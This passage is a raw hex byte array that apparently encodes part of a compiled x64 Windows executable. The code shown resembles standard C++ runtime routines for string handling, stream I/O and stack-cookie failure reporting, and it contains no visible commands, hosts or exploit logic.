0x01, 0x48, 0x85, 0xC9, 0x75, 0x04, 0x33, 0xFF, 0xEB, 0x49, 0x48, 0x81, 0xF9, 0x00, 0x10, 0x00, 0x00, 0x72, 0x38, 0x48, 0x8D, 0x41, 0x27, 0x48, 0x3B, 0xC1, 0x0F, 0x86, 0xE2, 0x00, 0x00, 0x00, 0xEB, 0x0E, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x48, 0x83, 0xC0, 0x27, 0x48, 0x8B, 0xC8, 0xE8, 0x9B, 0x0A, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x7B, 0x48, 0x8D, 0x78, 0x27, 0x48, 0x83, 0xE7, 0xE0, 0x48, 0x89, 0x47, 0xF8, 0xEB, 0x08, 0xE8, 0x83, 0x0A, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x4C, 0x89, 0x76, 0x10, 0x4D, 0x8D, 0x34, 0x3F, 0x48, 0x89, 0x5E, 0x18, 0x4D, 0x8B, 0xC7, 0x48, 0x8B, 0xCF, 0x48, 0x83, 0xFD, 0x0F, 0x76, 0x54, 0x48, 0x8B, 0x1E, 0x48, 0x8B, 0xD3, 0xE8, 0x00, 0x19, 0x00, 0x00, 0x4D, 0x8B, 0xC4, 0x49, 0x8B, 0xD5, 0x49, 0x8B, 0xCE, 0xE8, 0xF2, 0x18, 0x00, 0x00, 0x48, 0x8D, 0x55, 0x01, 0x43, 0xC6, 0x04, 0x26, 0x00, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x18, 0x48, 0x8B, 0x4B, 0xF8, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x2B, 0xD9, 0x48, 0x8D, 0x43, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x77, 0x0D, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0xCB, 0xE8, 0x61, 0x0A, 0x00, 0x00, 0xEB, 0x22, 0xFF, 0x15, 0x65, 0x31, 0x00, 0x00, 0xCC, 0x48, 0x8B, 0xD6, 0xE8, 0xAF, 0x18, 0x00, 0x00, 0x4D, 0x8B, 0xC4, 0x49, 0x8B, 0xD5, 0x49, 0x8B, 0xCE, 0xE8, 0xA1, 0x18, 0x00, 0x00, 0x43, 0xC6, 0x04, 0x26, 0x00, 0x48, 0x89, 0x3E, 0x48, 0x8B, 0xC6, 0x48, 0x8B, 0x7C, 0x24, 0x28, 0x48, 0x8B, 0x6C, 0x24, 0x70, 0x4C, 0x8B, 0x74, 0x24, 0x20, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5F, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5B, 0xC3, 0xE8, 0xC2, 0xAF, 0xFF, 0xFF, 0xCC, 0xE8, 0x1C, 0xAF, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0x09, 0x48, 0x85, 0xC9, 0x74, 0x0B, 0x48, 0x8B, 0x01, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x48, 0xFF, 0x20, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x20, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x4D, 0x8B, 0xE0, 0x48, 0x8B, 0xF2, 0x48, 0x8B, 0xF9, 0x45, 0x33, 0xED, 0x4C, 0x89, 0x69, 0x10, 0x48, 0xC7, 0x41, 0x18, 0x0F, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8B, 0x1A, 0x4C, 0x8D, 0x72, 0x09, 0x48, 0xBD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x49, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x7E, 0x08, 0x00, 0x75, 0x22, 0x48, 0x85, 0xDB, 0x74, 0x13, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x58, 0x2E, 0x00, 0x00, 0x83, 0xF8, 0xFF, 0x74, 0x05, 0x41, 0x88, 0x06, 0xEB, 0x06, 0x4C, 0x89, 0x2E, 0x49, 0x8B, 0xDD, 0xC6, 0x46, 0x08, 0x01, 0x41, 0x80, 0x7C, 0x24, 0x08, 0x00, 0x75, 0x25, 0x49, 0x8B, 0x0C, 0x24, 0x48, 0x85, 0xC9, 0x74, 0x12, 0xFF, 0x15, 0x2D, 0x2E, 0x00, 0x00, 0x83, 0xF8, 0xFF, 0x74, 0x07, 0x41, 0x88, 0x44, 0x24, 0x09, 0xEB, 0x04, 0x4D, 0x89, 0x2C, 0x24, 0x41, 0xC6, 0x44, 0x24, 0x08, 0x01, 0x49, 0x8B, 0x04, 0x24, 0x48, 0x85, 0xDB, 0x75, 0x32, 0x48, 0x85, 0xC0, 0x75, 0x32, 0x48, 0x8B, 0xCF, 0x48, 0x83, 0x7F, 0x18, 0x0F, 0x76, 0x03, 0x48, 0x8B, 0x0F, 0x48, 0x8B, 0x47, 0x10, 0xC6, 0x04, 0x01, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0xC3, 0x48, 0x85, 0xC0, 0x75, 0xCE, 0x48, 0x8B, 0x5F, 0x18, 0x48, 0x8B, 0x47, 0x10, 0x48, 0x3B, 0xC3, 0x0F, 0x85, 0xF7, 0x00, 0x00, 0x00, 0x48, 0x3B, 0xC5, 0x0F, 0x84, 0x6A, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xF7, 0x48, 0x83, 0xFB, 0x0F, 0x76, 0x03, 0x4C, 0x8B, 0x37, 0x48, 0x8B, 0xD3, 0x48, 0x8D, 0x58, 0x01, 0x48, 0x83, 0xCB, 0x0F, 0x48, 0x3B, 0xDD, 0x76, 0x09, 0x48, 0x8B, 0xDD, 0x49, 0x8D, 0x4F, 0x27, 0xEB, 0x48, 0x48, 0x8B, 0xCA, 0x48, 0xD1, 0xE9, 0x48, 0x8B, 0xC5, 0x48, 0x2B, 0xC1, 0x48, 0x3B, 0xD0, 0x76, 0x09, 0x48, 0x8B, 0xDD, 0x49, 0x8D, 0x4F, 0x27, 0xEB, 0x2E, 0x48, 0x8D, 0x04, 0x11, 0x48, 0x3B, 0xD8, 0x48, 0x0F, 0x42, 0xD8, 0x48, 0x8D, 0x43, 0x01, 0x48, 0x85, 0xC0, 0x75, 0x05, 0x49, 0x8B, 0xED, 0xEB, 0x3C, 0x48, 0x3D, 0x00, 0x10, 0x00, 0x00, 0x72, 0x29, 0x48, 0x8D, 0x48, 0x27, 0x48, 0x3B, 0xC8, 0x0F, 0x86, 0xF7, 0x00, 0x00, 0x00, 0xE8, 0x33, 0x08, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xE2, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x68, 0x27, 0x48, 0x83, 0xE5, 0xE0, 0x48, 0x89, 0x45, 0xF8, 0xEB, 0x0B, 0x48, 0x8B, 0xC8, 0xE8, 0x14, 0x08, 0x00, 0x00, 0x48, 0x8B, 0xE8, 0x4C, 0x8B, 0x47, 0x10, 0x49, 0x8B, 0xD6, 0x48, 0x8B, 0xCD, 0xE8, 0xA5, 0x16, 0x00, 0x00, 0x48, 0x8B, 0x57, 0x18, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x30, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x0F, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x4C, 0x8B, 0x41, 0xF8, 0x49, 0x2B, 0xC8, 0x48, 0x8D, 0x41, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0x88, 0x00, 0x00, 0x00, 0x49, 0x8B, 0xC8, 0xE8, 0x0C, 0x08, 0x00, 0x00, 0x48, 0x89, 0x2F, 0x48, 0x89, 0x5F, 0x18, 0x48, 0xBD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x4C, 0x8B, 0xFF, 0x48, 0x83, 0xFB, 0x0F, 0x76, 0x03, 0x4C, 0x8B, 0x3F, 0x80, 0x7E, 0x08, 0x00, 0x75, 0x1B, 0x48, 0x8B, 0x0E, 0x48, 0x85, 0xC9, 0x74, 0x10, 0xFF, 0x15, 0xAF, 0x2C, 0x00, 0x00, 0x83, 0xF8, 0xFF, 0x74, 0x05, 0x88, 0x46, 0x09, 0xEB, 0x03, 0x4C, 0x89, 0x2E, 0x4C, 0x8D, 0x76, 0x09, 0x48, 0x8B, 0x4F, 0x10, 0x41, 0x0F, 0xB6, 0x06, 0x41, 0x88, 0x04, 0x0F, 0x48, 0xFF, 0x47, 0x10, 0x48, 0x8B, 0x1E, 0x48, 0x85, 0xDB, 0x74, 0x17, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x75, 0x2C, 0x00, 0x00, 0x83, 0xF8, 0xFF, 0x74, 0x09, 0xC6, 0x46, 0x08, 0x00, 0xE9, 0xF9, 0xFD, 0xFF, 0xFF, 0x4C, 0x89, 0x2E, 0xC6, 0x46, 0x08, 0x01, 0x49, 0x8B, 0xDD, 0xE9, 0xEA, 0xFD, 0xFF, 0xFF, 0xFF, 0x15, 0x92, 0x2E, 0x00, 0x00, 0xCC, 0xE8, 0x8C, 0xAC, 0xFF, 0xFF, 0xCC, 0xE8, 0x26, 0xAD, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x10, 0x48, 0x89, 0x4C, 0x24, 0x08, 0x56, 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x4D, 0x8B, 0xF8, 0x4C, 0x8B, 0xE2, 0x48, 0x8B, 0xF1, 0x33, 0xDB, 0x89, 0x5C, 0x24, 0x78, 0x48, 0x8B, 0x01, 0x4C, 0x63, 0x48, 0x04, 0x49, 0x8B, 0x7C, 0x09, 0x28, 0x48, 0x85, 0xFF, 0x7E, 0x0A, 0x49, 0x3B, 0xF8, 0x76, 0x05, 0x49, 0x2B, 0xF8, 0xEB, 0x02, 0x33, 0xFF, 0x4C, 0x8B, 0xF6, 0x48, 0x89, 0x74, 0x24, 0x20, 0x49, 0x8B, 0x4C, 0x09, 0x48, 0x48, 0x85, 0xC9, 0x74, 0x07, 0x48, 0x8B, 0x01, 0xFF, 0x50, 0x08, 0x90, 0x48, 0x8B, 0x06, 0x48, 0x63, 0x48, 0x04, 0x48, 0x03, 0xCE, 0xFF, 0x15, 0xC5, 0x2C, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x30, 0x48, 0x8B, 0x06, 0x48, 0x63, 0x48, 0x04, 0x48, 0x8B, 0x4C, 0x31, 0x50, 0x48, 0x85, 0xC9, 0x74, 0x1D, 0x48, 0x3B, 0xCE, 0x74, 0x18, 0xFF, 0x15, 0xED, 0x2B, 0x00, 0x00, 0x48, 0x8B, 0x06, 0x48, 0x63, 0x48, 0x04, 0x48, 0x03, 0xCE, 0xFF, 0x15, 0x95, 0x2C, 0x00, 0x00, 0xEB, 0x02, 0xB0, 0x01, 0x88, 0x44, 0x24, 0x28, 0x84, 0xC0, 0x75, 0x0A, 0xBB, 0x04, 0x00, 0x00, 0x00, 0xE9, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x06, 0x48, 0x63, 0x40, 0x04, 0x8B, 0x44, 0x30, 0x18, 0x25, 0xC0, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x40, 0x74, 0x31, 0x48, 0x85, 0xFF, 0x74, 0x2C, 0x48, 0x8B, 0x06, 0x48, 0x63, 0x48, 0x04, 0x0F, 0xB6, 0x54, 0x31, 0x58, 0x48, 0x8B, 0x4C, 0x31, 0x48, 0xFF, 0x15, 0x6E, 0x2B, 0x00, 0x00, 0x83, 0xF8, 0xFF, 0x75, 0x0B, 0xBB, 0x04, 0x00, 0x00, 0x00, 0x89, 0x5C, 0x24, 0x78, 0xEB, 0x22, 0x48, 0xFF, 0xCF, 0xEB, 0xCF, 0x48, 0x8B, 0x06, 0x48, 0x63, 0x48, 0x04, 0x4D, 0x8B, 0xC7, 0x49, 0x8B, 0xD4, 0x48, 0x8B, 0x4C, 0x31, 0x48, 0xFF, 0x15, 0x19, 0x2B, 0x00, 0x00, 0x49, 0x3B, 0xC7, 0x75, 0x26, 0x48, 0x85, 0xFF, 0x74, 0x28, 0x48, 0x8B, 0x06, 0x48, 0x63, 0x48, 0x04, 0x0F, 0xB6, 0x54, 0x31, 0x58, 0x48, 0x8B, 0x4C, 0x31, 0x48, 0xFF, 0x15, 0x20, 0x2B, 0x00, 0x00, 0x83, 0xF8, 0xFF, 0x74, 0x05, 0x48, 0xFF, 0xCF, 0xEB, 0xDA, 0x83, 0xCB, 0x04, 0x89, 0x5C, 0x24, 0x78, 0x48, 0x8B, 0x06, 0x48, 0x63, 0x48, 0x04, 0x48, 0xC7, 0x44, 0x31, 0x28, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0E, 0x48, 0x8B, 0x74, 0x24, 0x60, 0x8B, 0x5C, 0x24, 0x78, 0x4C, 0x8B, 0x74, 0x24, 0x20, 0x48, 0x8B, 0x06, 0x48, 0x63, 0x48, 0x04, 0x48, 0x03, 0xCE, 0x45, 0x33, 0xC0, 0x8B, 0xD3, 0xFF, 0x15, 0x2A, 0x2B, 0x00, 0x00, 0x90, 0xFF, 0x15, 0x1B, 0x2B, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x0A, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0xE6, 0x2A, 0x00, 0x00, 0x90, 0x49, 0x8B, 0x06, 0x48, 0x63, 0x48, 0x04, 0x4A, 0x8B, 0x4C, 0x31, 0x48, 0x48, 0x85, 0xC9, 0x74, 0x07, 0x48, 0x8B, 0x01, 0xFF, 0x50, 0x10, 0x90, 0x48, 0x8B, 0xC6, 0x48, 0x8B, 0x5C, 0x24, 0x68, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5C, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x56, 0x57, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x41, 0x08, 0x4C, 0x8B, 0xFA, 0x48, 0x8B, 0x11, 0x4D, 0x8B, 0xF7, 0x4C, 0x2B, 0xF2, 0x48, 0x2B, 0xC2, 0x48, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x4D, 0x8B, 0xE8, 0x48, 0x8B, 0xF9, 0x48, 0x3B, 0xC6, 0x0F, 0x84, 0x36, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x10, 0x48, 0x2B, 0xCA, 0x48, 0x89, 0x5C, 0x24, 0x70, 0x48, 0x89, 0x6C, 0x24, 0x28, 0x48, 0x8B, 0xD1, 0x48, 0xD1, 0xEA, 0x4C, 0x89, 0x64, 0x24, 0x20, 0x4C, 0x8D, 0x60, 0x01, 0x48, 0x8B, 0xC6, 0x48, 0x2B, 0xC2, 0x48, 0x3B, 0xC8, 0x76, 0x26, 0x48, 0xB9, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xE8, 0xFD, 0x04, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xEC, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x58, 0x27, 0x48, 0x83, 0xE3, 0xE0, 0x48, 0x89, 0x43, 0xF8, 0xEB, 0x3A, 0x48, 0x8D, 0x04, 0x0A, 0x49, 0x8B, 0xF4, 0x49, 0x3B, 0xC4, 0x48, 0x0F, 0x43, 0xF0, 0x48, 0x85, 0xF6, 0x75, 0x04, 0x33, 0xDB, 0xEB, 0x23, 0x48, 0x81, 0xFE, 0x00, 0x10, 0x00, 0x00, 0x72, 0x0F, 0x48, 0x8D, 0x4E, 0x27, 0x48, 0x3B, 0xCE, 0x0F, 0x86, 0xBE, 0x00, 0x00, 0x00, 0xEB, 0xB5, 0x48, 0x8B, 0xCE, 0xE8, 0xAF, 0x04, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0x41, 0x0F, 0xB6, 0x4D, 0x00, 0x4C, 0x03, 0xF3, 0x41, 0x88, 0x0E, 0x48, 0x8B, 0xCB, 0x4C, 0x8B, 0x47, 0x08, 0x48, 0x8B, 0x17, 0x4D, 0x3B, 0xF8, 0x75, 0x05, 0x4C, 0x2B, 0xC2, 0xEB, 0x19, 0x4D, 0x8B, 0xC7, 0x4C, 0x2B, 0xC2, 0xE8, 0x2B, 0x13, 0x00, 0x00, 0x4C, 0x8B, 0x47, 0x08, 0x49, 0x8D, 0x4E, 0x01, 0x4D, 0x2B, 0xC7, 0x49, 0x8B, 0xD7, 0xE8, 0x18, 0x13, 0x00, 0x00, 0x48, 0x8B, 0x0F, 0x48, 0x85, 0xC9, 0x74, 0x2D, 0x48, 0x8B, 0x57, 0x10, 0x48, 0x2B, 0xD1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x18, 0x4C, 0x8B, 0x41, 0xF8, 0x48, 0x83, 0xC2, 0x27, 0x49, 0x2B, 0xC8, 0x48, 0x8D, 0x41, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x77, 0x3A, 0x49, 0x8B, 0xC8, 0xE8, 0x7E, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x28, 0x4A, 0x8D, 0x0C, 0x23, 0x4C, 0x8B, 0x64, 0x24, 0x20, 0x49, 0x8B, 0xC6, 0x48, 0x89, 0x1F, 0x48, 0x89, 0x4F, 0x08, 0x48, 0x8D, 0x0C, 0x33, 0x48, 0x8B, 0x5C, 0x24, 0x70, 0x48, 0x89, 0x4F, 0x10, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x5F, 0x5E, 0xC3, 0xFF, 0x15, 0x52, 0x2B, 0x00, 0x00, 0xCC, 0xE8, 0x7C, 0x00, 0x00, 0x00, 0xCC, 0xE8, 0x46, 0xA9, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x19, 0x48, 0x85, 0xDB, 0x74, 0x49, 0x48, 0x8B, 0x53, 0x18, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x2C, 0x48, 0x8B, 0x0B, 0x48, 0xFF, 0xC2, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x18, 0x4C, 0x8B, 0x41, 0xF8, 0x48, 0x83, 0xC2, 0x27, 0x49, 0x2B, 0xC8, 0x48, 0x8D, 0x41, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x77, 0x21, 0x49, 0x8B, 0xC8, 0xE8, 0xF0, 0x03, 0x00, 0x00, 0x48, 0xC7, 0x43, 0x10, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x43, 0x18, 0x0F, 0x00, 0x00, 0x00, 0xC6, 0x03, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xFF, 0x15, 0xDD, 0x2A, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x8D, 0x0D, 0x4D, 0x2D, 0x00, 0x00, 0xFF, 0x15, 0x5F, 0x28, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0x48, 0x63, 0x41, 0xFC, 0x48, 0x2B, 0xC8, 0xE9, 0x60, 0xEC, 0xFF, 0xFF, 0x48, 0x63, 0x41, 0xFC, 0x48, 0x2B, 0xC8, 0xE9, 0x84, 0xEB, 0xFF, 0xFF, 0x48, 0x63, 0x41, 0xFC, 0x48, 0x2B, 0xC8, 0xE9, 0xC8, 0xEC, 0xFF, 0xFF, 0xFF, 0x25, 0x6A, 0x29, 0x00, 0x00, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xB9, 0x10, 0x00, 0x00, 0x00, 0xE8, 0x2D, 0x03, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x85, 0xC0, 0x74, 0x0E, 0x48, 0x8B, 0x15, 0x6C, 0x6C, 0x00, 0x00, 0x48, 0x89, 0x10, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x05, 0x5E, 0x6C, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xFF, 0x25, 0x92, 0x28, 0x00, 0x00, 0xFF, 0x25, 0x94, 0x28, 0x00, 0x00, 0xFF, 0x25, 0x96, 0x28, 0x00, 0x00, 0xFF, 0x25, 0x98, 0x28, 0x00, 0x00, 0xFF, 0x25, 0x9A, 0x28, 0x00, 0x00, 0xFF, 0x25, 0x9C, 0x28, 0x00, 0x00, 0xFF, 0x25, 0x9E, 0x28, 0x00, 0x00, 0xFF, 0x25, 0xA0, 0x28, 0x00, 0x00, 0xFF, 0x25, 0xA2, 0x28, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x0D, 0x39, 0x67, 0x00, 0x00, 0x75, 0x10, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, 0xFF, 0xFF, 0x75, 0x01, 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x36, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x33, 0xC9, 0xFF, 0x15, 0x47, 0x27, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x36, 0x27, 0x00, 0x00, 0xFF, 0x15, 0x20, 0x27, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0xBA, 0x09, 0x04, 0x00, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x48, 0xFF, 0x25, 0x04, 0x27, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x24, 0x08, 0x48, 0x83, 0xEC, 0x38, 0xB9, 0x17, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xE8, 0x26, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x07, 0xB9, 0x02, 0x00, 0x00, 0x00, 0xCD, 0x29, 0x48, 0x8D, 0x0D, 0x46, 0x6C, 0x00, 0x00, 0xE8, 0xCD, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x38, 0x48, 0x89, 0x05, 0x2D, 0x6D, 0x00, 0x00, 0x48, 0x8D, 0x44, 0x24, 0x38, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x05, 0xBD, 0x6C, 0x00, 0x00, 0x48, 0x8B, 0x05, 0x16, 0x6D, 0x00, 0x00, 0x48, 0x89, 0x05, 0x87, 0x6B, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x40, 0x48, 0x89, 0x05, 0x8B, 0x6C, 0x00, 0x00, 0xC7, 0x05, 0x61, 0x6B, 0x00, 0x00, 0x09, 0x04, 0x00, 0xC0, 0xC7, 0x05, 0x5B, 0x6B, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xC7, 0x05, 0x65, 0x6B, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8D, 0x0D, 0x5D, 0x6B, 0x00, 0x00, 0x48, 0xC7, 0x04, 0x01, 0x02, 0x00, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x0D, 0x45, 0x66, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x04, 0x20, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x01, 0x48, 0x8B, 0x0D, 0x70, 0x66, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x04, 0x20, 0x48, 0x8D, 0x0D, 0x44, 0x2A, 0x00, 0x00, 0xE8, 0xFF, 0xFE, 0xFF, 0xFF, 0x90, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xE8, 0x06, 0x00, 0x00, 0x00, 0x90, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0x89, 0x4C, 0x24, 0x08, 0x48, 0x83, 0xEC, 0x28, 0xB9, 0x17, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x01, 0x26, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x08, 0x8B, 0x44, 0x24, 0x30, 0x8B, 0xC8, 0xCD, 0x29, 0x48, 0x8D, 0x0D, 0x5E, 0x6B, 0x00, 0x00, 0xE8, 0x75, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x28, 0x48, 0x89, 0x05, 0x45, 0x6C, 0x00, 0x00, 0x48, 0x8D, 0x44, 0x24, 0x28, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x05, 0xD5, 0x6B, 0x00, 0x00, 0x48, 0x8B, 0x05, 0x2E, 0x6C, 0x00, 0x00, 0x48, 0x89, 0x05, 0x9F, 0x6A, 0x00, 0x00, 0xC7, 0x05, 0x85, 0x6A, 0x00, 0x00, 0x09, 0x04, 0x00, 0xC0, 0xC7, 0x05, 0x7F, 0x6A, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xC7, 0x05, 0x89, 0x6A, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8D, 0x0D, 0x81, 0x6A, 0x00, 0x00, 0x8B, 0x54, 0x24, 0x30, 0x48, 0x89, 0x14, 0x01, 0x48, 0x8D, 0x0D, 0x92, 0x29, 0x00, 0x00, 0xE8, 0x4D, 0xFE, 0xFF, 0xFF, 0x90, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x20, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x48, 0x8B, 0xD9, 0xFF, 0x15, 0x91, 0x25, 0x00, 0x00, 0x48, 0x8B, 0xBB, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x50, 0x48, 0x8B, 0xCF, 0x45, 0x33, 0xC0, 0xFF, 0x15, 0x11, 0x25, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x32, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x58, 0x48, 0x8B, 0x54, 0x24, 0x50, 0x4C, 0x8B, 0xC8, 0x48, 0x89, 0x4C, 0x24, 0x30, 0x4C, 0x8B, 0xC7, 0x48, 0x8D, 0x4C, 0x24, 0x60, 0x48, 0x89, 0x4C, 0x24, 0x28, 0x33, 0xC9, 0x48, 0x89, 0x5C, 0x24, 0x20, 0xFF, 0x15, 0x2A, 0x25, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x68, 0x48, 0x83, 0xC4, 0x40, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x56, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x48, 0x8B, 0xD9, 0xFF, 0x15, 0x23, 0x25, 0x00, 0x00, 0x48, 0x8B, 0xB3, 0xF8, 0x00, 0x00, 0x00, 0x33, 0xFF, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x54, 0x24, 0x60, 0x48, 0x8B, 0xCE, 0xFF, 0x15, 0xA1, 0x24, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x39, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x68, 0x48, 0x8B, 0x54, 0x24, 0x60, 0x4C, 0x8B, 0xC8, 0x48, 0x89, 0x4C, 0x24, 0x30, 0x4C, 0x8B, 0xC6, 0x48, 0x8D, 0x4C, 0x24, 0x70, 0x48, 0x89, 0x4C, 0x24, 0x28, 0x33, 0xC9, 0x48, 0x89, 0x5C, 0x24, 0x20, 0xFF, 0x15, 0xBA, 0x24, 0x00, 0x00, 0xFF, 0xC7, 0x83, 0xFF, 0x02, 0x7C, 0xB1, 0x48, 0x83, 0xC4, 0x40, 0x5F, 0x5E, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 